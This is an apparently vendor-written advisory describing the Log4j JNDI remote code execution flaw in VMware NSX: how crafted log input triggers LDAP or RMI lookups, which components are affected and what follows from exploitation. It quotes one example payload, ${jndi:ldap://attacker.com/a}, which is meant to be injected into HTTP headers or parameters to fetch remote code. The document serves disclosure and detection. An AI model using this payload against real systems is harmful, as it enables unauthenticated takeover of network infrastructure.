VMware NSX Remote Code Execution (RCE) Scanner

VMware NSX is a network virtualization and security platform widely used by enterprises and service providers to manage complex virtual networks. It enables micro-segmentation, dynamic routing, and network monitoring, making it critical for secure cloud and data center environments. NSX integrates with various hypervisors and cloud platforms, providing a software-defined networking layer that enhances agility and security. Its adoption is high in organizations requiring robust network isolation and policy enforcement.

The vulnerability is a Remote Code Execution (RCE) flaw stemming from the Apache Log4j library, a Java-based logging utility used by NSX. This arises due to Log4j's JNDI lookup feature, which can be exploited via crafted log messages. When NSX processes malicious input that gets logged, the Log4j component performs an LDAP or RMI lookup, allowing an attacker to load and execute arbitrary Java code on the server. This issue is critical because it requires no authentication and can be triggered remotely.

Specifically, the vulnerable endpoint is the NSX Manager's API or web interface that logs user-supplied data. Attackers can inject a malicious string like ${jndi:ldap://attacker.com/a} into HTTP headers, parameters, or payloads. The Log4j library then processes this string, connecting to an attacker-controlled server to fetch and execute malicious bytecode. This affects all NSX components using Log4j versions prior to 2.15.0, including NSX Manager, controllers, and edge nodes.

If exploited, an attacker gains full remote control over the NSX Manager or affected node, potentially compromising the entire virtual network. This can lead to data exfiltration, lateral movement to other systems, disruption of network services, and persistent backdoor access. Given NSX's role in managing critical infrastructure, the impact can be catastrophic, affecting availability, integrity, and confidentiality of the entire virtualized environment.